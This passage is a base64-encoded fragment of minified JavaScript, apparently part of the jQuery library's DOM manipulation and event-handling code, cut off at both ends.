pLmhpZGUoKX0pfX0pO3ZhciBjZSxmZSxwZT0vXig/OmNoZWNrYm94fHJhZGlvKSQvaSxkZT0vPChbYS16XVteXC9cMD5ceDIwXHRcclxuXGZdKikvaSxoZT0vXiR8Xm1vZHVsZSR8XC8oPzpqYXZhfGVjbWEpc2NyaXB0L2k7Y2U9RS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkuYXBwZW5kQ2hpbGQoRS5jcmVhdGVFbGVtZW50KCJkaXYiKSksKGZlPUUuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJ0eXBlIiwicmFkaW8iKSxmZS5zZXRBdHRyaWJ1dGUoImNoZWNrZWQiLCJjaGVja2VkIiksZmUuc2V0QXR0cmlidXRlKCJuYW1lIiwidCIpLGNlLmFwcGVuZENoaWxkKGZlKSx2LmNoZWNrQ2xvbmU9Y2UuY2xvbmVOb2RlKCEwKS5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5jaGVja2VkLGNlLmlubmVySFRNTD0iPHRleHRhcmVhPng8L3RleHRhcmVhPiIsdi5ub0Nsb25lQ2hlY2tlZD0hIWNlLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmRlZmF1bHRWYWx1ZSxjZS5pbm5lckhUTUw9IjxvcHRpb24+PC9vcHRpb24+Iix2Lm9wdGlvbj0hIWNlLmxhc3RDaGlsZDt2YXIgZ2U9e3RoZWFkOlsxLCI8dGFibGU+IiwiPC90YWJsZT4iXSxjb2w6WzIsIjx0YWJsZT48Y29sZ3JvdXA+IiwiPC9jb2xncm91cD48L3RhYmxlPiJdLHRyOlsyLCI8dGFibGU+PHRib2R5PiIsIjwvdGJvZHk+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sX2RlZmF1bHQ6WzAsIiIsIiJdfTtmdW5jdGlvbiB5ZShlLHQpe3ZhciBuO3JldHVybiBuPSJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZT9lLmdldEVsZW1lbnRzQnlUYWdOYW1lKHR8fCIqIik6InVuZGVmaW5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGw/ZS5xdWVyeVNlbGVjdG9yQWxsKHR8fCIqIik6W10sdm9pZCAwPT09dHx8dCYmQShlLHQpP1MubWVyZ2UoW2VdLG4pOm59ZnVuY3Rpb24gdmUoZSx0KXtmb3IodmFyIG49MCxyPWUubGVuZ3RoO248cjtuKyspWS5zZXQoZVtuXSwiZ2xvYmFsRXZhbCIsIXR8fFkuZ2V0KHRbbl0sImdsb2JhbEV2YWwiKSl9Z2UudGJvZHk9Z2UudGZvb3Q9Z2UuY29sZ3JvdXA9Z2UuY2FwdGlvbj1nZS50aGVhZCxnZS50aD1nZS50ZCx2Lm9wdGlvbnx8KGdlLm9wdGdyb3VwPWdlLm9wdGlvbj1bMSwiPHNlbGVjdCBtdWx0aXBsZT0nbXVsdGlwbGUnPiIsIjwvc2VsZWN0PiJdKTt2YXIgbWU9Lzx8JiM/XHcrOy87ZnVuY3Rpb24geGUoZSx0LG4scixpKXtmb3IodmFyIG8sYSxzLHUsbCxjLGY9dC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkscD1bXSxkPTAsaD1lLmxlbmd0aDtkPGg7ZCsrKWlmKChvPWVbZF0pfHwwPT09bylpZigib2JqZWN0Ij09PXcobykpUy5tZXJnZShwLG8ubm9kZVR5cGU/W29dOm8pO2Vsc2UgaWYobWUudGVzdChvKSl7YT1hfHxmLmFwcGVuZENoaWxkKHQuY3JlYXRlRWxlbWVudCgiZGl2IikpLHM9KGRlLmV4ZWMobyl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCksdT1nZVtzXXx8Z2UuX2RlZmF1bHQsYS5pbm5lckhUTUw9dVsxXStTLmh0bWxQcmVmaWx0ZXIobykrdVsyXSxjPXVbMF07d2hpbGUoYy0tKWE9YS5sYXN0Q2hpbGQ7Uy5tZXJnZShwLGEuY2hpbGROb2RlcyksKGE9Zi5maXJzdENoaWxkKS50ZXh0Q29udGVudD0iIn1lbHNlIHAucHVzaCh0LmNyZWF0ZVRleHROb2RlKG8pKTtmLnRleHRDb250ZW50PSIiLGQ9MDt3aGlsZShvPXBbZCsrXSlpZihyJiYtMTxTLmluQXJyYXkobyxyKSlpJiZpLnB1c2gobyk7ZWxzZSBpZihsPWllKG8pLGE9eWUoZi5hcHBlbmRDaGlsZChvKSwic2NyaXB0IiksbCYmdmUoYSksbil7Yz0wO3doaWxlKG89YVtjKytdKWhlLnRlc3Qoby50eXBlfHwiIikmJm4ucHVzaChvKX1yZXR1cm4gZn12YXIgYmU9L14oW14uXSopKD86XC4oLispfCkvO2Z1bmN0aW9uIHdlKCl7cmV0dXJuITB9ZnVuY3Rpb24gVGUoKXtyZXR1cm4hMX1mdW5jdGlvbiBDZShlLHQpe3JldHVybiBlPT09ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIEUuYWN0aXZlRWxlbWVudH1jYXRjaChlKXt9fSgpPT0oImZvY3VzIj09PXQpfWZ1bmN0aW9uIEVlKGUsdCxuLHIsaSxvKXt2YXIgYSxzO2lmKCJvYmplY3QiPT10eXBlb2YgdCl7Zm9yKHMgaW4ic3RyaW5nIiE9dHlwZW9mIG4mJihyPXJ8fG4sbj12b2lkIDApLHQpRWUoZSxzLG4scix0W3NdLG8pO3JldHVybiBlfWlmKG51bGw9PXImJm51bGw9PWk/KGk9bixyPW49dm9pZCAwKTpudWxsPT1pJiYoInN0cmluZyI9PXR5cGVvZiBuPyhpPXIscj12b2lkIDApOihpPXIscj1uLG49dm9pZCAwKSksITE9PT1pKWk9VGU7ZWxzZSBpZighaSlyZXR1cm4gZTtyZXR1cm4gMT09PW8mJihhPWksKGk9ZnVuY3Rpb24oZSl7cmV0dXJuIFMoKS5vZmYoZSksYS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9KS5ndWlkPWEuZ3VpZHx8KGEuZ3VpZD1TLmd1aWQrKykpLGUuZWFjaChmdW5jdGlvbigpe1MuZXZlbnQuYWRkKHRoaXMsdCxpLHIsbil9KX1mdW5jdGlvbiBTZShlLGksbyl7bz8oWS5zZXQoZSxpLCExKSxTLmV2ZW50LmFkZChlLGkse25hbWVzcGFjZTohMSxoYW5kbGVyOmZ1bmN0aW9uKGUpe3ZhciB0LG4scj1ZLmdldCh0aGlzLGkpO2lmKDEmZS5pc1RyaWdnZXImJnRoaXNbaV0pe2lmKHIubGVuZ3RoKShTLmV2ZW50LnNwZWNpYWxbaV18fHt9KS5kZWxlZ2F0ZVR5cGUmJmUuc3RvcFByb3BhZ2F0aW9uKCk7ZWxzZSBpZihyPXMuY2FsbChhcmd1bWVudHMpLFkuc2V0KHRoaXMsaSxyKSx0PW8odGhpcyxpKSx0aGlzW2ldKCksciE9PShuPVkuZ2V0KHRoaXMsaSkpfHx0P1kuc2V0KHRoaXMsaSwhMSk6bj17fSxyIT09bilyZXR1cm4gZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSxlLnByZXZlbnREZWZhdWx0KCksbiYmbi52YWx1ZX1lbHNlIHIubGVuZ3RoJiYoWS5zZXQodGhpcyxpLHt2YWx1ZTpTLmV2ZW50LnRyaWdnZXIoUy5leHRlbmQoclswXSxTLkV2ZW50LnByb3RvdHlwZSksci5zbGljZSgxKSx0aGlzKX0pLGUuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCkpfX0pKTp2b2lkIDA9PT1ZLmdldChlLGkpJiZTLmV2ZW50LmFkZChlLGksd2UpfVMuZXZlbnQ9e2dsb2JhbDp7fSxhZGQ6ZnVuY3Rpb24odCxlLG4scixpKXt2YXIgbyxhLHMsdSxsLGMsZixwLGQsaCxnLHk9WS5nZXQodCk7aWYoVih0KSl7bi5oYW5kbGVyJiYobj0obz1uKS5oYW5kbGVyLGk9by5zZWxlY3RvciksaSYmUy5maW5kLm1hdGNoZXNTZWxlY3RvcihyZSxpKSxuLmd1aWR8fChuLmd1aWQ9Uy5ndWlkKyspLCh1PXkuZXZlbnRzKXx8KHU9eS5ldmVudHM9T2JqZWN0LmNyZWF0ZShudWxsKSksKGE9eS5oYW5kbGUpfHwoYT15LmhhbmRsZT1mdW5jdGlvbihlKXtyZXR1cm4idW5kZWZpbmVkIiE9dHlwZW9mIFMmJlMuZXZlbnQudHJpZ2dlcmVkIT09ZS50eXBlP1MuZXZlbnQuZGlzcGF0Y2guYXBwbHkodCxhcmd1bWVudHMpOnZvaWQgMH0pLGw9KGU9KGV8fCIiKS5tYXRjaChQKXx8WyIiXSkubGVuZ3RoO3doaWxlKGwtLSlkPWc9KHM9YmUuZXhlYyhlW2xdKXx8W10pWzFdLGg9KHNbMl18fCIiKS5zcGxpdCgiLiIpLnNvcnQoKSxkJiYoZj1TLmV2ZW50LnNwZWNpYWxbZF18fHt9LGQ9KGk/Zi5kZWxlZ2F0ZVR5cGU6Zi5iaW5kVHlwZSl8fGQsZj1TLmV2ZW50LnNwZWNpYWxbZF18fHt9LGM9Uy5leHRlbmQoe3R5cGU6ZCxvcmlnVHlwZTpnLGRhdGE6cixoYW5kbGVyOm4sZ3VpZDpuLmd1aWQsc2VsZWN0b3I6aSxuZWVkc0NvbnRleHQ6aSYmUy5leHByLm1hdGNoLm5lZWRzQ29udGV4dC50ZXN0KGkpLG5hbWVzcGFjZTpoLmpvaW4oIi4iKX0sbyksKHA9dVtkXSl8fCgocD11W2RdPVtdKS5kZWxlZ2F0ZUNvdW50PTAsZi5zZXR1cCYmITEhPT1mLnNldHVwLmNhbGwodCxyLGgsYSl8fHQuYWRkRXZlbnRMaXN0ZW5lciYmdC5hZGRFdmVudExpc3RlbmVyKGQsYSkpLGYuYWRkJiYoZi5hZGQuY2FsbCh0LGMpLGMuaGFuZGxlci5ndWlkfHwoYy5oYW5kbGVyLmd1aWQ9bi5ndWlkKSksaT9wLnNwbGljZShwLmRlbGVnYXRlQ291bnQrKywwLGMpOnAucHVzaChjKSxTLmV2ZW50Lmdsb2JhbFtkXT0hMCl9fSxyZW1vdmU6ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdSxsLGMsZixwLGQsaCxnLHk9WS5oYXNEYXRhKGUpJiZZLmdldChlKTtpZih5JiYodT15LmV2ZW50cykpe2w9KHQ9KHR8fCIiKS5tYXRjaChQKXx8WyIiXSkubGVuZ3RoO3doaWxlKGwtLSlpZihkPWc9KHM9YmUuZXhlYyh0W2xdKXx8W10pWzFdLGg9KHNbMl18fCIiKS5zcGxpdCgiLiIpLnNvcnQoKSxkKXtmPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30scD11W2Q9KHI/Zi5kZWxlZ2F0ZVR5cGU6Zi5iaW5kVHlwZSl8fGRdfHxbXSxzPXNbMl0mJm5ldyBSZWdFeHAoIihefFxcLikiK2guam9pbigiXFwuKD86LipcXC58KSIpKyIoXFwufCQpIiksYT1vPXAubGVuZ3RoO3doaWxlKG8tLSljPXBbb10sIWkmJmchPT1jLm9yaWdUeXBlfHxuJiZuLmd1aWQhPT1jLmd1aWR8fHMmJiFzLnRlc3QoYy5uYW1lc3BhY2UpfHxyJiZyIT09Yy5zZWxlY3RvciYmKCIqKiIhPT1yfHwhYy5zZWxlY3Rvcil8fChwLnNwbGljZShvLDEpLGMuc2VsZWN0b3ImJnAuZGVsZWdhdGVDb3VudC0tLGYucmVtb3ZlJiZmLnJlbW92ZS5jYWxsKGUsYykpO2EmJiFwLmxlbmd0aCYmKGYudGVhcmRvd24mJiExIT09Zi50ZWFyZG93bi5jYWxsKGUsaCx5LmhhbmRsZSl8fFMucmVtb3ZlRXZlbnQoZSxkLHkuaGFuZGxlKSxkZWxldGUgdVtkXSl9ZWxzZSBmb3IoZCBpbiB1KVMuZXZlbnQucmVtb3ZlKGUsZCt0W2xdLG4sciwhMCk7Uy5pc0VtcHR5T2JqZWN0KHUpJiZZLnJlbW92ZShlLCJoYW5kbGUgZXZlbnRzIil9fSxkaXNwYXRjaDpmdW5jdGlvbihlKXt2YXIgdCxuLHIsaSxvLGEscz1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCksdT1TLmV2ZW50LmZpeChlKSxsPShZLmdldCh0aGlzLCJldmVudHMiKXx8T2JqZWN0LmNyZWF0ZShudWxsKSlbdS50eXBlXXx8W10sYz1TLmV2ZW50LnNwZWNpYWxbdS50eXBlXXx8e307Zm9yKHNbMF09dSx0PTE7dDxhcmd1bWVudHMubGVuZ3RoO3QrKylzW3RdPWFyZ3VtZW50c1t0XTtpZih1LmRlbGVnYXRlVGFyZ2V0PXRoaXMsIWMucHJlRGlzcGF0Y2h8fCExIT09Yy5wcmVEaXNwYXRjaC5jYWxsKHRoaXMsdSkpe2E9Uy5ldmVudC5oYW5kbGVycy5jYWxsKHRoaXMsdSxsKSx0PTA7d2hpbGUoKGk9YVt0KytdKSYmIXUuaXNQcm9wYWdhdGlvblN0b3BwZWQoKSl7dS5jdXJyZW50VGFyZ2V0PWkuZWxlbSxuPTA7d2hpbGUoKG89aS5oYW5kbGVyc1tuKytdKSYmIXUuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQoKSl1LnJuYW1lc3BhY2UmJiExIT09by5uYW1lc3BhY2UmJiF1LnJuYW1lc3BhY2UudGVzdChvLm5hbWVzcGFjZSl8fCh1LmhhbmRsZU9iaj1vLHUuZGF0YT1vLmRhdGEsdm9pZCAwIT09KHI9KChTLmV2ZW50LnNwZWNpYWxbby5vcmlnVHlwZV18fHt9KS5oYW5kbGV8fG8uaGFuZGxlcikuYXBwbHkoaS5lbGVtLHMpKSYmITE9PT0odS5yZXN1bHQ9cikmJih1LnByZXZlbnREZWZhdWx0KCksdS5zdG9wUHJvcGFnYXRpb24oKSkpfXJldHVybiBjLnBvc3REaXNwYXRjaCYmYy5wb3N0RGlzcGF0Y2guY2FsbCh0aGlzLHUpLHUucmVzdWx0fX0saGFuZGxlcnM6ZnVuY3Rpb24oZSx0KXt2YXIgbixyLGksbyxhLHM9W10sdT10LmRlbGVnYXRlQ291bnQsbD1lLnRhcmdldDtpZih1JiZsLm5vZGVUeXBlJiYhKCJjbGljayI9PT1lLnR5cGUmJjE8PWUuYnV0dG9uKSlmb3IoO2whPT10aGlzO2w9bC5wYXJlbnROb2RlfHx0aGlzKWlmKDE9PT1sLm5vZGVUeXBlJiYoImNsaWNrIiE9PWUudHlwZXx8ITAhPT1sLmRpc2FibGVkKSl7Zm9yKG89W10sYT17fSxuPTA7bjx1O24rKyl2b2lkIDA9PT1hW2k9KHI9dFtuXSkuc2VsZWN0b3IrIiAiXSYmKGFbaV09ci5uZWVkc0NvbnRleHQ/LTE8UyhpLHRoaXMpLmluZGV4KGwpOlMuZmluZChpLHRoaXMsbnVsbCxbbF0pLmxlbmd0aCksYVtpXSYmby5wdXNoKHIpO28ubGVuZ3RoJiZzLnB1c2goe2VsZW06bCxoYW5kbGVyczpvfSl9cmV0dXJuIGw9dGhpcyx1PHQubGVuZ3RoJiZzLnB1c2goe2VsZW06bCxoYW5kbGVyczp0LnNsaWNlKHUpfSksc30sYWRkUHJvcDpmdW5jdGlvbih0LGUpe09iamVjdC5kZWZpbmVQcm9wZXJ0eShTLkV2ZW50LnByb3RvdHlwZSx0LHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCxnZXQ6bShlKT9mdW5jdGlvbigpe2lmKHRoaXMub3JpZ2luYWxFdmVudClyZXR1cm4gZSh0aGlzLm9yaWdpbmFsRXZlbnQpfTpmdW5jdGlvbigpe2lmKHRoaXMub3JpZ2luYWxFdmVudClyZXR1cm4gdGhpcy5vcmlnaW5hbEV2ZW50W3RdfSxzZXQ6ZnVuY3Rpb24oZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KHRoaXMsdCx7ZW51bWVyYWJsZTohMCxjb25maWd1cmFibGU6ITAsd3JpdGFibGU6ITAsdmFsdWU6ZX0pfX0pfSxmaXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbUy5leHBhbmRvXT9lOm5ldyBTLkV2ZW50KGUpfSxzcGVjaWFsOntsb2FkOntub0J1YmJsZTohMH0sY2xpY2s6e3NldHVwOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXN8fGU7cmV0dXJuIHBlLnRlc3QodC50eXBlKSYmdC5jbGljayYmQSh0LCJpbnB1dCIpJiZTZSh0LCJjbGljayIsd2UpLCExfSx0cmlnZ2VyOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXN8fGU7cmV0dXJuIHBlLnRlc3QodC50eXBlKSYmdC5jbGljayYmQSh0LCJpbnB1dCIpJiZTZSh0LCJjbGljayIpLCEwfSxfZGVmYXVsdDpmdW5jdGlvbihlKXt2YXIgdD1lLnRhcmdldDtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJlkuZ2V0KHQsImNsaWNrIil8fEEodCwiYSIpfX0sYmVmb3JldW5sb2FkOntwb3N0RGlzcGF0Y2g6ZnVuY3Rpb24oZSl7dm9pZCAwIT09ZS5yZXN1bHQmJmUub3JpZ2luYWxFdmVudCYmKGUub3JpZ2luYWxFdmVudC5yZXR1cm5WYWx1ZT1lLnJlc3VsdCl9fX19LFMucmVtb3ZlRXZlbnQ9ZnVuY3Rpb24oZSx0LG4pe2UucmVtb3ZlRXZlbnRMaXN0ZW5lciYmZS5yZW1vdmVFdmVudExpc3RlbmVyKHQsbil9LFMuRXZlbnQ9ZnVuY3Rpb24oZSx0KXtpZighKHRoaXMgaW5zdGFuY2VvZiBTLkV2ZW50KSlyZXR1cm4gbmV3IFMuRXZlbnQoZSx0KTtlJiZlLnR5cGU/KHRoaXMub3JpZ2luYWxFdmVudD1lLHRoaXMudHlwZT1lLnR5cGUsdGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9ZS5kZWZhdWx0UHJldmVudGVkfHx2b2lkIDA9PT1lLmRlZmF1bHRQcmV2ZW50ZWQmJiExPT09ZS5yZXR1cm5WYWx1ZT93ZTpUZSx0aGlzLnRhcmdldD1lLnRhcmdldCYmMz09PWUudGFyZ2V0Lm5vZGVUeXBlP2UudGFyZ2V0LnBhcmVudE5vZGU6ZS50YXJnZXQsdGhpcy5jdXJyZW50VGFyZ2V0PWUuY3VycmVudFRhcmdldCx0aGlzLnJlbGF0ZWRUYXJnZXQ9ZS5yZWxhdGVkVGFyZ2V0KTp0aGlzLnR5cGU9ZSx0JiZTLmV4dGVuZCh0aGlzLHQpLHRoaXMudGltZVN0YW1wPWUmJmUudGltZVN0YW1wfHxEYXRlLm5vdygpLHRoaXNbUy5leHBhbmRvXT0hMH0sUy5FdmVudC5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOlMuRXZlbnQsaXNEZWZhdWx0UHJldmVudGVkOlRlLGlzUHJvcGFnYXRpb25TdG9wcGVkOlRlLGlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkOlRlLGlzU2ltdWxhdGVkOiExLHByZXZlbnREZWZhdWx0OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vcmlnaW5hbEV2ZW50O3RoaXMuaXNEZWZhdWx0UHJldmVudGVkPXdlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnByZXZlbnREZWZhdWx0KCl9LHN0b3BQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzUHJvcGFnYXRpb25TdG9wcGVkPXdlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnN0b3BQcm9wYWdhdGlvbigpfSxzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZD13ZSxlJiYhdGhpcy5pc1NpbXVsYXRlZCYmZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSx0aGlzLnN0b3BQcm9wYWdhdGlvbigpfX0sUy5lYWNoKHthbHRLZXk6ITAsYnViYmxlczohMCxjYW5jZWxhYmxlOiEwLGNoYW5nZWRUb3VjaGVzOiEwLGN0cmxLZXk6ITAsZGV0YWlsOiEwLGV2ZW50UGhhc2U6ITAsbWV0YUtleTohMCxwYWdlWDohMCxwYWdlWTohMCxzaGlmdEtleTohMCx2aWV3OiEwLCJjaGFyIjohMCxjb2RlOiEwLGNoYXJDb2RlOiEwLGtleTohMCxrZXlDb2RlOiEwLGJ1dHRvbjohMCxidXR0b25zOiEwLGNsaWVudFg6ITAsY2xpZW50WTohMCxvZmZzZXRYOiEwLG9mZnNldFk6ITAscG9pbnRlcklkOiEwLHBvaW50ZXJUeXBlOiEwLHNjcmVlblg6ITAsc2NyZWVuWTohMCx0YXJnZXRUb3VjaGVzOiEwLHRvRWxlbWVudDohMCx0b3VjaGVzOiEwLHdoaWNoOiEwfSxTLmV2ZW50LmFkZFByb3ApLFMuZWFjaCh7Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sZnVuY3Rpb24odCxlKXtTLmV2ZW50LnNwZWNpYWxbdF09e3NldHVwOmZ1bmN0aW9uKCl7cmV0dXJuIFNlKHRoaXMsdCxDZSksITF9LHRyaWdnZXI6ZnVuY3Rpb24oKXtyZXR1cm4gU2UodGhpcyx0KSwhMH0sX2RlZmF1bHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIFkuZ2V0KGUudGFyZ2V0LHQpfSxkZWxlZ2F0ZVR5cGU6ZX19KSxTLmVhY2goe21vdXNlZW50ZXI6Im1vdXNlb3ZlciIsbW91c2VsZWF2ZToibW91c2VvdXQiLHBvaW50ZXJlbnRlcjoicG9pbnRlcm92ZXIiLHBvaW50ZXJsZWF2ZToicG9pbnRlcm91dCJ9LGZ1bmN0aW9uKGUsaSl7Uy5ldmVudC5zcGVjaWFsW2VdPXtkZWxlZ2F0ZVR5cGU6aSxiaW5kVHlwZTppLGhhbmRsZTpmdW5jdGlvbihlKXt2YXIgdCxuPWUucmVsYXRlZFRhcmdldCxyPWUuaGFuZGxlT2JqO3JldHVybiBuJiYobj09PXRoaXN8fFMuY29udGFpbnModGhpcyxuKSl8fChlLnR5cGU9ci5vcmlnVHlwZSx0PXIuaGFuZGxlci5hcHBseSh0aGlzLGFyZ3VtZW50cyksZS50eXBlPWkpLHR9fX0pLFMuZm4uZXh0ZW5kKHtvbjpmdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gRWUodGhpcyxlLHQsbixyKX0sb25lOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiBFZSh0aGlzLGUsdCxuLHIsMSl9LG9mZjpmdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZihlJiZlLnByZXZlbnREZWZhdWx0JiZlLmhhbmRsZU9iailyZXR1cm4gcj1lLmhhbmRsZU9iaixTKGUuZGVsZWdhdGVUYXJnZXQpLm9mZihyLm5hbWVzcGFjZT9yLm9yaWdUeXBlKyIuIityLm5hbWVzcGFjZTpyLm9yaWdUeXBlLHIuc2VsZWN0b3Isci5oYW5kbGVyKSx0aGlzO2lmKCJvYmplY3QiPT10eXBlb2YgZSl7Zm9yKGkgaW4gZSl0aGlzLm9mZihpLHQsZVtpXSk7cmV0dXJuIHRoaXN9cmV0dXJuITEhPT10JiYiZnVuY3Rpb24iIT10eXBlb2YgdHx8KG49dCx0PXZvaWQgMCksITE9PT1uJiYobj1UZSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7Uy5ldmVudC5yZW1vdmUodGhpcyxlLG4sdCl9KX19KTt2YXIga2U9LzxzY3JpcHR8PHN0eWxlfDxsaW5rL2ksQWU9L2NoZWNrZWRccyooPzpbXj1dfD1ccyouY2hlY2tlZC4pL2ksTmU9L15ccyo8IVxbQ0RBVEFcW3xcXVxdPlxzKiQvZztmdW5jdGlvbiBqZShlLHQpe3JldHVybiBBKGUsInRhYmxlIikmJkEoMTEhPT10Lm5vZGVUeXBlP3Q6dC5maXJzdENoaWxkLCJ0ciIpJiZTKGUpLmNoaWxkcmVuKCJ0Ym9keSIpWzBdfHxlfWZ1bmN0aW9uIERlKGUpe3JldHVybiBlLnR5cGU9KG51bGwhPT1lLmdldEF0dHJpYnV0ZSgidHlwZSIpKSsiLyIrZS50eXBlLGV9ZnVuY3Rpb24gcWUoZSl7cmV0dXJuInRydWUvIj09PShlLnR5cGV8fCIiKS5zbGljZSgwLDUpP2UudHlwZT1lLnR5cGUuc2xpY2UoNSk6ZS5yZW1vdmVBdHRyaWJ1dGUoInR5cGUiKSxlfWZ1bmN0aW9uIExlKGUsdCl7dmFyIG4scixpLG8sYSxzO2lmKDE9PT10Lm5vZGVUeXBlKXtpZihZLmhhc0RhdGEoZSkmJihzPVkuZ2V0KGUpLmV2ZW50cykpZm9yKGkgaW4gWS5yZW1vdmUodCwiaGFuZGxlIGV2ZW50cyIpLHMpZm9yKG49MCxyPXNbaV0ubGVuZ3RoO248cjtuKyspUy5ldmVudC5hZGQodCxpLHNbaV1bbl0pO1EuaGFzRGF0YShlKSYmKG89US5hY2Nlc3MoZSksYT1TLmV4dGVuZCh7fSxvKSxRLnNldCh0LGEpKX19ZnVuY3Rpb24gSGUobixyLGksbyl7cj1nKHIpO3ZhciBlLHQsYSxzLHUsbCxjPTAsZj1uLmxlbmd0aCxwPWYtMSxkPXJbMF0saD1tKGQpO2lmKGh8fDE8ZiYmInN0cmluZyI9PXR5cGVvZiBkJiYhdi5jaGVja0Nsb25lJiZBZS50ZXN0KGQpKXJldHVybiBuLmVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9bi5lcShlKTtoJiYoclswXT1kLmNhbGwodGhpcyxlLHQuaHRtbCgpKSksSGUodCxyLGksbyl9KTtpZihmJiYodD0oZT14ZShyLG5bMF0ub3duZXJEb2N1bWVudCwhMSxuLG8pKS5maXJzdENoaWxkLDE9PT1lLmNoaWxkTm9kZXMubGVuZ3RoJiYoZT10KSx0fHxvKSl7Zm9yKHM9KGE9Uy5tYXAoeWUoZSwic2NyaXB0IiksRGUpKS5sZW5ndGg7YzxmO2MrKyl1PWUsYyE9PXAmJih1PVMuY2xvbmUodSwhMCwhMCkscyYmUy5tZXJnZShhLHllKHUsInNjcmlwdCIpKSksaS5jYWxsKG5bY10sdSxjKTtpZihzKWZvcihsPWFbYS5sZW5ndGgtMV0ub3duZXJEb2N1bWVudCxTLm1hcChhLHFlKSxjPTA7YzxzO2MrKyl1PWFbY10saGUudGVzdCh1LnR5cGV8fCIiKSYmIVkuYWNjZXNzKHUsImdsb2JhbEV2YWwiKSYmUy5jb250YWlucyhsLHUpJiYodS5zcmMmJiJtb2R1bGUiIT09KHUudHlwZXx8IiIpLnRvTG93ZXJDYXNlKCk/Uy5fZXZhbFVybCYmIXUubm9Nb2R1bGUmJlMuX2V2YWxVcmwodS5zcmMse25vbmNlOnUubm9uY2V8fHUuZ2V0QXR0cmlidXRlKCJub25jZSIpfSxsKTpiKHUudGV4dENvbnRlbnQucmVwbGFjZShOZSwiIiksdSxsKSl9cmV0dXJuIG59ZnVuY3Rpb24gT2UoZSx0LG4pe2Zvcih2YXIgcixpPXQ/Uy5maWx0ZXIodCxlKTplLG89MDtudWxsIT0ocj1pW29dKTtvKyspbnx8MSE9PXIubm9kZVR5cGV8fFMuY2xlYW5EYXRhKHllKHIpKSxyLnBhcmVudE5vZGUmJihuJiZpZShyKSYmdmUoeWUociwic2NyaXB0IikpLHIucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChyKSk7cmV0dXJuIGV9Uy5leHRlbmQoe2h0bWxQcmVmaWx0ZXI6ZnVuY3Rpb24oZSl7cmV0dXJuIGV9LGNsb25lOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYSxzLHUsbCxjPWUuY2xvbmVOb2RlKCEwKSxmPWllKGUpO2lmKCEodi5ub0Nsb25lQ2hlY2tlZHx8MSE9PWUubm9kZVR5cGUmJjExIT09ZS5ub2RlVHlwZXx8Uy5pc1hNTERvYyhlKSkpZm9yKGE9eWUoYykscj0wLGk9KG89eWUoZSkpLmxlbmd0aDtyPGk7cisrKXM9b1tyXSx1PWFbcl0sdm9pZCAwLCJpbnB1dCI9PT0obD11Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpJiZwZS50ZXN0KHMudHlwZSk/dS5jaGVja2VkPXMuY2hlY2tlZDoiaW5wdXQiIT09bCYmInRleHRhcmVhIiE9PWx8fCh1LmRlZmF1bHRWYWx1ZT1zLmRlZmF1bHRWYWx1ZSk7aWYodClpZihuKWZvcihvPW98fHllKGUpLGE9YXx8eWUoYykscj0wLGk9by5sZW5ndGg7cjxpO3IrKylMZShvW3JdLGFbcl0pO2Vsc2UgTGUoZSxjKTtyZXR1cm4gMDwoYT15ZShjLCJzY3JpcHQiKSkubGVuZ3RoJiZ2ZShhLCFmJiZ5ZShlLCJzY3JpcHQiKSksY30sY2xlYW5EYXRhOmZ1bmN0aW9uKGUpe2Zvcih2YXIgdCxuLHIsaT1TLmV2ZW50LnNwZWNpYWwsbz0wO3ZvaWQgMCE9PShuPWVbb10pO28rKylpZihWKG4pKXtpZih0PW5bWS5leHBhbmRvXSl7aWYodC5ldmVudHMpZm9yKHIgaW4gdC5ldmVudHMpaVtyXT9TLmV2ZW50LnJlbW92ZShuLHIpOlMucmVtb3ZlRXZlbnQobixyLHQuaGFuZGxlKTtuW1kuZXhwYW5kb109dm9p